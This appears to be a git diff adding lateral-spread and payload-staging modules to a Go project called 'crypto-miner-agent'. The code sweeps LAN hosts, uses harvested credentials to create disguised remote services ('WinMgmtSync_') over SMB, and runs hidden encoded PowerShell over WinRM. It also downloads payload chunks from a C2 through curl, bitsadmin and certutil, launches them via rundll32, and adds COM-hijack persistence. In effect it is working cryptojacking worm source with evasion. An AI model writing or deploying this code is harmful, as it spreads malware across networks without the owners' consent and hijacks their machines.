// RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe
|
||||
// pointing at a UNC Forge output share (no PsExec, no local payload copy).
|
||||
func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string {
|
||||
if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil {
|
||||
return "smb unc spread rejected: " + err.Error()
|
||||
}
|
||||
maxHosts := opts.MaxHosts
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
targets := DiscoverLANSpreadTargets(maxHosts)
|
||||
go runSMBUNCSpreadSweep(cfg, opts, targets)
|
||||
return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath)
|
||||
}
|
||||
|
||||
func smbUNCSvcName(cfg config.RuntimeConfig, override string) string {
|
||||
if strings.TrimSpace(override) != "" {
|
||||
return sanitizeName(override)
|
||||
}
|
||||
return "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
}
|
||||
10
agent/deploy/smb_unc_spread_stub.go
Normal file
10
agent/deploy/smb_unc_spread_stub.go
Normal file
@@ -0,0 +1,10 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import "crypto-miner-agent/config"
|
||||
|
||||
func runSMBUNCSpreadSweep(_ config.RuntimeConfig, _ SMBUNCSpreadOpts, targets []string) {
|
||||
beginSpreadSweep("smb_unc_sc", len(targets))
|
||||
finishSpreadSweepImmediate()
|
||||
}
|
||||
48
agent/deploy/smb_unc_spread_test.go
Normal file
48
agent/deploy/smb_unc_spread_test.go
Normal file
@@ -0,0 +1,48 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestValidateUNCSpreadPath(t *testing.T) {
|
||||
if err := ValidateUNCSpreadPath(`\\forge-host\pathforge$\worker.exe`); err != nil {
|
||||
t.Fatalf("valid UNC rejected: %v", err)
|
||||
}
|
||||
if err := ValidateUNCSpreadPath(""); err == nil {
|
||||
t.Fatal("empty UNC should fail")
|
||||
}
|
||||
if err := ValidateUNCSpreadPath(`C:\local\worker.exe`); err == nil {
|
||||
t.Fatal("local path should fail")
|
||||
}
|
||||
if err := ValidateUNCSpreadPath(`\\host\share\..\evil.exe`); err == nil {
|
||||
t.Fatal("traversal in UNC should fail")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunSMBUNCSpreadRejectsBadUNC(t *testing.T) {
|
||||
msg := RunSMBUNCSpread(config.RuntimeConfig{}, SMBUNCSpreadOpts{UNCPath: "bad"})
|
||||
if !strings.Contains(strings.ToLower(msg), "rejected") {
|
||||
t.Fatalf("unexpected message: %q", msg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSMBUNCSvcName(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}}
|
||||
got := smbUNCSvcName(cfg, "")
|
||||
if !strings.HasPrefix(got, "WinMgmtSync_") {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if strings.Contains(got, " ") {
|
||||
t.Fatal("service name must not contain spaces")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDiscoverLANSpreadTargetsRespectsCap(t *testing.T) {
|
||||
targets := DiscoverLANSpreadTargets(2)
|
||||
if len(targets) > 2 {
|
||||
t.Fatalf("cap ignored: got %d targets", len(targets))
|
||||
}
|
||||
}
|
||||
103
agent/deploy/smb_unc_spread_windows.go
Normal file
103
agent/deploy/smb_unc_spread_windows.go
Normal file
@@ -0,0 +1,103 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
|
||||
beginSpreadSweep("smb_unc_sc", len(targets))
|
||||
if len(targets) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
shareRoot := uncShareRoot(opts.UNCPath)
|
||||
if shareRoot != "" {
|
||||
_ = ensureNetUse(shareRoot)
|
||||
}
|
||||
svcName := smbUNCSvcName(cfg, opts.SvcName)
|
||||
binPath := formatSCBinPath(opts.UNCPath, runFlag)
|
||||
for _, target := range targets {
|
||||
spreadSem <- struct{}{}
|
||||
go func(host string) {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptSMBUNCSpread(host, svcName, binPath)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
|
||||
func uncShareRoot(unc string) string {
|
||||
unc = strings.TrimSpace(unc)
|
||||
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
|
||||
return ""
|
||||
}
|
||||
parts := strings.Split(unc[2:], `\`)
|
||||
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
|
||||
return ""
|
||||
}
|
||||
return `\\` + parts[0] + `\` + parts[1]
|
||||
}
|
||||
|
||||
func ensureNetUse(share string) error {
|
||||
out, err := HiddenCombinedOutput("net.exe", "use", share)
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
msg := strings.ToLower(string(out))
|
||||
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func formatSCBinPath(unc, args string) string {
|
||||
unc = strings.TrimSpace(unc)
|
||||
args = strings.TrimSpace(args)
|
||||
if args == "" {
|
||||
return `"` + unc + `"`
|
||||
}
|
||||
return `"` + unc + `" ` + args
|
||||
}
|
||||
|
||||
func attemptSMBUNCSpread(target, svcName, binPath string) {
|
||||
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "port 445 closed")
|
||||
return
|
||||
}
|
||||
conn.Close()
|
||||
|
||||
var credSession SpreadCredSession
|
||||
var credCleanup func()
|
||||
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
|
||||
credSession = session
|
||||
if cleanup, applied := applySpreadCredSession(target, session); applied {
|
||||
credCleanup = cleanup
|
||||
}
|
||||
}
|
||||
if credCleanup != nil {
|
||||
defer credCleanup()
|
||||
}
|
||||
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
|
||||
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
|
||||
"binPath=", binPath,
|
||||
"type=", "own",
|
||||
"start=", "demand")
|
||||
|
||||
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
|
||||
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
|
||||
} else {
|
||||
recordSpreadAttempt(target, false, "remote sc start failed")
|
||||
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
|
||||
}
|
||||
}
|
||||
66
agent/deploy/spread_targets.go
Normal file
66
agent/deploy/spread_targets.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// DiscoverLANSpreadTargets returns remote IPv4 hosts for lateral spread sweeps.
|
||||
// ARP cache is consulted first; a capped /24 port knock supplements sparse caches.
|
||||
func DiscoverLANSpreadTargets(maxHosts int) []string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
if maxHosts > MaxSubnetScanHosts {
|
||||
maxHosts = MaxSubnetScanHosts
|
||||
}
|
||||
|
||||
targets := mergeUniqueIPv4(arpHosts(), neighborHosts())
|
||||
if len(targets) < 3 {
|
||||
ips := getLocalIPs()
|
||||
seen := make(map[string]bool)
|
||||
for _, t := range targets {
|
||||
seen[t] = true
|
||||
}
|
||||
for _, ip := range ips {
|
||||
if !isIPv4(ip) {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255 && len(targets) < maxHosts; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if candidate == ip || seen[candidate] {
|
||||
continue
|
||||
}
|
||||
conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
seen[candidate] = true
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range getLocalIPs() {
|
||||
localSet[ip] = true
|
||||
}
|
||||
var filtered []string
|
||||
for _, target := range targets {
|
||||
if localSet[target] {
|
||||
continue
|
||||
}
|
||||
filtered = append(filtered, target)
|
||||
if len(filtered) >= maxHosts {
|
||||
break
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
97
agent/deploy/staging.go
Normal file
97
agent/deploy/staging.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StagingChunk is one downloadable piece of a staged payload.
|
||||
type StagingChunk struct {
|
||||
URL string `json:"url"`
|
||||
File string `json:"file"`
|
||||
}
|
||||
|
||||
// StagingManifest describes a BITS/curl/certutil staging chain from the C2.
|
||||
type StagingManifest struct {
|
||||
Method string `json:"method"` // curl | bits
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"` // exe | rundll32
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
Encoded bool `json:"encoded"` // chunks are base64; decode via certutil
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
}
|
||||
|
||||
// ResolveStagingPath applies the same traversal hygiene as upload/download commands.
|
||||
func ResolveStagingPath(remote string) (string, error) {
|
||||
return ResolveRemotePath(remote)
|
||||
}
|
||||
|
||||
func sanitizeStagingFilename(name string) (string, error) {
|
||||
name = strings.TrimSpace(name)
|
||||
name = strings.ReplaceAll(name, "\\", "/")
|
||||
if name == "" {
|
||||
return "", fmt.Errorf("chunk filename is empty")
|
||||
}
|
||||
parts := strings.Split(name, "/")
|
||||
var clean []string
|
||||
for _, p := range parts {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || p == "." || p == ".." {
|
||||
continue
|
||||
}
|
||||
clean = append(clean, p)
|
||||
}
|
||||
if len(clean) == 0 {
|
||||
return "", fmt.Errorf("chunk filename is empty")
|
||||
}
|
||||
return filepath.Join(clean...), nil
|
||||
}
|
||||
|
||||
func verifyFileSHA256(path, expected string) error {
|
||||
expected = strings.ToLower(strings.TrimSpace(expected))
|
||||
if expected == "" {
|
||||
return fmt.Errorf("sha256 hash is required")
|
||||
}
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
h := sha256.New()
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return err
|
||||
}
|
||||
got := hex.EncodeToString(h.Sum(nil))
|
||||
if got != expected {
|
||||
return fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func concatFiles(dest string, parts []string) error {
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
for _, part := range parts {
|
||||
in, err := os.Open(part)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := io.Copy(out, in); err != nil {
|
||||
in.Close()
|
||||
return err
|
||||
}
|
||||
in.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
14
agent/deploy/staging_stub.go
Normal file
14
agent/deploy/staging_stub.go
Normal file
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// RunStagingChain is Windows-only (BITS/curl/certutil/rundll32).
|
||||
func RunStagingChain(_ config.RuntimeConfig, _ StagingManifest) (string, error) {
|
||||
return "", fmt.Errorf("staging chain is Windows-only")
|
||||
}
|
||||
96
agent/deploy/staging_test.go
Normal file
96
agent/deploy/staging_test.go
Normal file
@@ -0,0 +1,96 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestStagingRejectsPathTraversal(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
path string
|
||||
}{
|
||||
{name: "unix_relative", path: "../../etc/passwd"},
|
||||
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
|
||||
{name: "embedded_traversal", path: "staging/../../outside.exe"},
|
||||
{name: "absolute_with_traversal", path: "/var/tmp/../../etc/shadow"},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
_, err := ResolveStagingPath(tc.path)
|
||||
if err == nil {
|
||||
t.Fatalf("ResolveStagingPath(%q) should reject traversal", tc.path)
|
||||
}
|
||||
if !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("ResolveStagingPath(%q) error = %q, want path traversal rejection", tc.path, err.Error())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeStagingFilenameRejectsTraversal(t *testing.T) {
|
||||
cases := []string{
|
||||
"../evil.bin",
|
||||
`..\..\payload.exe`,
|
||||
"parts/../../../x.b64",
|
||||
}
|
||||
for _, raw := range cases {
|
||||
got, err := sanitizeStagingFilename(raw)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(got, "..") {
|
||||
t.Fatalf("sanitizeStagingFilename(%q) leaked traversal: %q", raw, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeStagingFilenameAcceptsSafeName(t *testing.T) {
|
||||
got, err := sanitizeStagingFilename("chunk-0.b64")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got != "chunk-0.b64" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyFileSHA256Match(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "payload.bin")
|
||||
content := []byte("staging-chunk-data")
|
||||
if err := os.WriteFile(path, content, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sum := sha256.Sum256(content)
|
||||
if err := verifyFileSHA256(path, hex.EncodeToString(sum[:])); err != nil {
|
||||
t.Fatalf("verify: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyFileSHA256Mismatch(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "payload.bin")
|
||||
if err := os.WriteFile(path, []byte("other"), 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := verifyFileSHA256(path, strings.Repeat("a", 64)); err == nil {
|
||||
t.Fatal("expected sha256 mismatch error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestVerifyFileSHA256RequiresHash(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
path := filepath.Join(dir, "empty.bin")
|
||||
if err := os.WriteFile(path, nil, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := verifyFileSHA256(path, ""); err == nil {
|
||||
t.Fatal("expected error for empty expected hash")
|
||||
}
|
||||
}
|
||||
141
agent/deploy/staging_windows.go
Normal file
141
agent/deploy/staging_windows.go
Normal file
@@ -0,0 +1,141 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// RunStagingChain downloads chunks via curl.exe or bitsadmin, optionally decodes
|
||||
// with certutil, verifies the server-supplied SHA256, and launches via rundll32 or exe.
|
||||
func RunStagingChain(cfg config.RuntimeConfig, manifest StagingManifest) (string, error) {
|
||||
if len(manifest.Chunks) == 0 {
|
||||
return "", fmt.Errorf("staging manifest has no chunks")
|
||||
}
|
||||
dest, err := ResolveStagingPath(manifest.Dest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
workDir := filepath.Join(filepath.Dir(dest), ".staging-"+sanitizeName(cfg.WorkerName))
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer os.RemoveAll(workDir)
|
||||
|
||||
method := strings.ToLower(strings.TrimSpace(manifest.Method))
|
||||
if method == "" {
|
||||
method = "curl"
|
||||
}
|
||||
|
||||
var assembled []string
|
||||
for i, chunk := range manifest.Chunks {
|
||||
name, err := sanitizeStagingFilename(chunk.File)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("chunk %d: %w", i, err)
|
||||
}
|
||||
localPath := filepath.Join(workDir, name)
|
||||
if err := os.MkdirAll(filepath.Dir(localPath), 0o700); err != nil {
|
||||
return "", err
|
||||
}
|
||||
switch method {
|
||||
case "bits", "bitsadmin":
|
||||
if err := downloadChunkBITS(chunk.URL, localPath); err != nil {
|
||||
return "", fmt.Errorf("bits chunk %d: %w", i, err)
|
||||
}
|
||||
default:
|
||||
if err := downloadChunkCurl(chunk.URL, localPath); err != nil {
|
||||
return "", fmt.Errorf("curl chunk %d: %w", i, err)
|
||||
}
|
||||
}
|
||||
if manifest.Encoded || strings.HasSuffix(strings.ToLower(name), ".b64") {
|
||||
decoded := strings.TrimSuffix(localPath, filepath.Ext(localPath)) + ".bin"
|
||||
if err := certutilDecode(localPath, decoded); err != nil {
|
||||
return "", fmt.Errorf("certutil chunk %d: %w", i, err)
|
||||
}
|
||||
assembled = append(assembled, decoded)
|
||||
} else {
|
||||
assembled = append(assembled, localPath)
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if len(assembled) == 1 {
|
||||
if err := os.Rename(assembled[0], dest); err != nil {
|
||||
if err := copyFile(assembled[0], dest); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if err := concatFiles(dest, assembled); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
_ = os.Remove(dest)
|
||||
return "", err
|
||||
}
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(manifest.DLLExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched rundll32 %s", len(manifest.Chunks), method, dest, export), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("staged %d chunk(s) via %s to %s; launched exe %v", len(manifest.Chunks), method, dest, args), nil
|
||||
}
|
||||
}
|
||||
|
||||
func downloadChunkCurl(url, dest string) error {
|
||||
url = strings.TrimSpace(url)
|
||||
if url == "" {
|
||||
return fmt.Errorf("chunk url is empty")
|
||||
}
|
||||
return HiddenRun("curl.exe", "-sSL", "--fail", "-o", dest, url)
|
||||
}
|
||||
|
||||
func downloadChunkBITS(url, dest string) error {
|
||||
url = strings.TrimSpace(url)
|
||||
if url == "" {
|
||||
return fmt.Errorf("chunk url is empty")
|
||||
}
|
||||
job := "AetherForge-Stage-" + sanitizeName(filepath.Base(dest)) + fmt.Sprintf("-%d", time.Now().Unix())
|
||||
steps := [][]string{
|
||||
{"/transfer", job, "/download", "/priority", "FOREGROUND", url, dest},
|
||||
}
|
||||
for _, args := range steps {
|
||||
if err := HiddenRun("bitsadmin", args...); err != nil {
|
||||
_ = HiddenRun("bitsadmin", "/cancel", job)
|
||||
return err
|
||||
}
|
||||
}
|
||||
_ = HiddenRun("bitsadmin", "/complete", job)
|
||||
return nil
|
||||
}
|
||||
|
||||
func certutilDecode(src, dest string) error {
|
||||
return HiddenRun("certutil.exe", "-f", "-decode", src, dest)
|
||||
}
|
||||
@@ -8,11 +8,15 @@ import (
|
||||
|
||||
// Spread prerequisites for lateral deployment modules:
|
||||
//
|
||||
// Windows (SMB/SCM via autospread.go):
|
||||
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
|
||||
// - Target TCP/445 (SMB) must be reachable on the LAN.
|
||||
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
|
||||
// and create/start a remote service via sc.exe (typically requires local admin
|
||||
// or equivalent on the target).
|
||||
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
|
||||
// then sc.exe \\host create/start on the local path.
|
||||
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
|
||||
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
|
||||
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
|
||||
// the egress hop via POST /api/v1/pathtrace/spread.
|
||||
// - Both require an admin-capable token on the target for remote SCM.
|
||||
//
|
||||
// Unix (SSH via autospread_unix.go):
|
||||
// - Target TCP/22 (SSH) must be reachable.
|
||||
@@ -20,10 +24,13 @@ import (
|
||||
// already work — e.g. the agent user's public key in target authorized_keys,
|
||||
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
|
||||
//
|
||||
// Subnet discovery:
|
||||
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
|
||||
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
|
||||
// may appear when the OS neighbor cache lists them on a shared /64.
|
||||
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
|
||||
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
|
||||
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
|
||||
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
|
||||
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
|
||||
// - ARP cache is consulted first (arp_*.go) before any active sweep.
|
||||
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
|
||||
|
||||
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
||||
func getLocalIPs() []string {
|
||||
|
||||
20
agent/deploy/vuln_recon.go
Normal file
20
agent/deploy/vuln_recon.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/vulnprobe"
|
||||
)
|
||||
|
||||
func init() {
|
||||
vulnprobe.HiddenExec = HiddenCombinedOutput
|
||||
}
|
||||
|
||||
// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit).
|
||||
func RunVulnRecon(osVersion string) *vulnprobe.ScanReport {
|
||||
ctx := vulnprobe.ProbeHost(nil, osVersion)
|
||||
report := vulnprobe.Run(ctx)
|
||||
log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s",
|
||||
report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary)
|
||||
return report
|
||||
}
|
||||
128
agent/deploy/winrm_bootstrap.go
Normal file
128
agent/deploy/winrm_bootstrap.go
Normal file
@@ -0,0 +1,128 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf16"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// attemptWinRMSpread deploys via WinRM session + encoded bootstrap (owned/lab).
|
||||
func attemptWinRMSpread(cfg config.RuntimeConfig, target string) {
|
||||
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
||||
recordSpreadAttempt(target, false, "winrm port closed")
|
||||
return
|
||||
}
|
||||
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
recordSpreadAttempt(target, false, "executable path unavailable")
|
||||
return
|
||||
}
|
||||
|
||||
destName := sharePayloadName(cfg)
|
||||
script := fmt.Sprintf(`
|
||||
$dest = Join-Path $env:TEMP '%s'
|
||||
Copy-Item -LiteralPath '%s' -Destination $dest -Force -EA SilentlyContinue
|
||||
if (Test-Path $dest) {
|
||||
Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden -EA SilentlyContinue
|
||||
}
|
||||
`, destName, strings.ReplaceAll(exePath, `'`, `''`))
|
||||
|
||||
encoded := encodePowerShell(script)
|
||||
var credSession SpreadCredSession
|
||||
ps := fmt.Sprintf(`
|
||||
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
||||
if ($s) {
|
||||
Invoke-Command -Session $s -EncodedCommand '%s' -EA SilentlyContinue
|
||||
Remove-PSSession $s -EA SilentlyContinue
|
||||
}
|
||||
`, target, encoded)
|
||||
if session, ok := acquireSpreadCred(target, "winrm_encoded"); ok {
|
||||
credSession = session
|
||||
ps = winRMCredPSBlock(target, session, fmt.Sprintf("powershell -EncodedCommand '%s'", encoded))
|
||||
}
|
||||
|
||||
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps); err == nil {
|
||||
log.Printf("[autospread] WinRM encoded bootstrap succeeded on %s", target)
|
||||
recordSpreadAttempt(target, true, "")
|
||||
reportSpreadCredEdge(target, "winrm_encoded", credSession, true)
|
||||
if cfg.COMHijackPersist {
|
||||
_ = applyCOMHijackPersistence(exePath)
|
||||
}
|
||||
return
|
||||
}
|
||||
recordSpreadAttempt(target, false, "winrm invoke failed")
|
||||
reportSpreadCredEdge(target, "winrm_encoded", credSession, false)
|
||||
}
|
||||
|
||||
func encodePowerShell(script string) string {
|
||||
utf16le := utf16.Encode([]rune(script))
|
||||
buf := make([]byte, len(utf16le)*2)
|
||||
for i, r := range utf16le {
|
||||
buf[i*2] = byte(r)
|
||||
buf[i*2+1] = byte(r >> 8)
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(buf)
|
||||
}
|
||||
|
||||
// spreadViaWinRM sweeps local /24 for WinRM-open hosts when WinRMSpread or AutoSpread is enabled.
|
||||
func spreadViaWinRM(cfg config.RuntimeConfig) {
|
||||
if !cfg.WinRMSpread && !cfg.AutoSpread {
|
||||
return
|
||||
}
|
||||
|
||||
localIPs := getLocalIPs()
|
||||
var targets []string
|
||||
localSet := make(map[string]bool)
|
||||
for _, ip := range localIPs {
|
||||
localSet[ip] = true
|
||||
}
|
||||
for _, ip := range localIPs {
|
||||
if !isIPv4(ip) {
|
||||
continue
|
||||
}
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
candidate, ok := ipv4SweepHost(subnet, i)
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if localSet[candidate] {
|
||||
continue
|
||||
}
|
||||
if portOpen(candidate, 5985, 400*time.Millisecond) || portOpen(candidate, 5986, 400*time.Millisecond) {
|
||||
targets = append(targets, candidate)
|
||||
}
|
||||
}
|
||||
}
|
||||
beginSpreadSweep("winrm_encoded", len(targets))
|
||||
if len(targets) == 0 {
|
||||
finishSpreadSweepImmediate()
|
||||
return
|
||||
}
|
||||
for _, target := range targets {
|
||||
t := target
|
||||
spreadSem <- struct{}{}
|
||||
go func() {
|
||||
defer func() { <-spreadSem }()
|
||||
attemptWinRMSpread(cfg, t)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// EnableLocalPSRemoting prepares this host for WinRM bootstrap templates (owned machines).
|
||||
func EnableLocalPSRemoting() error {
|
||||
ps := `Enable-PSRemoting -Force -SkipNetworkProfileCheck; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force`
|
||||
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", ps)
|
||||
}
|
||||
Reference in New Issue
Block a user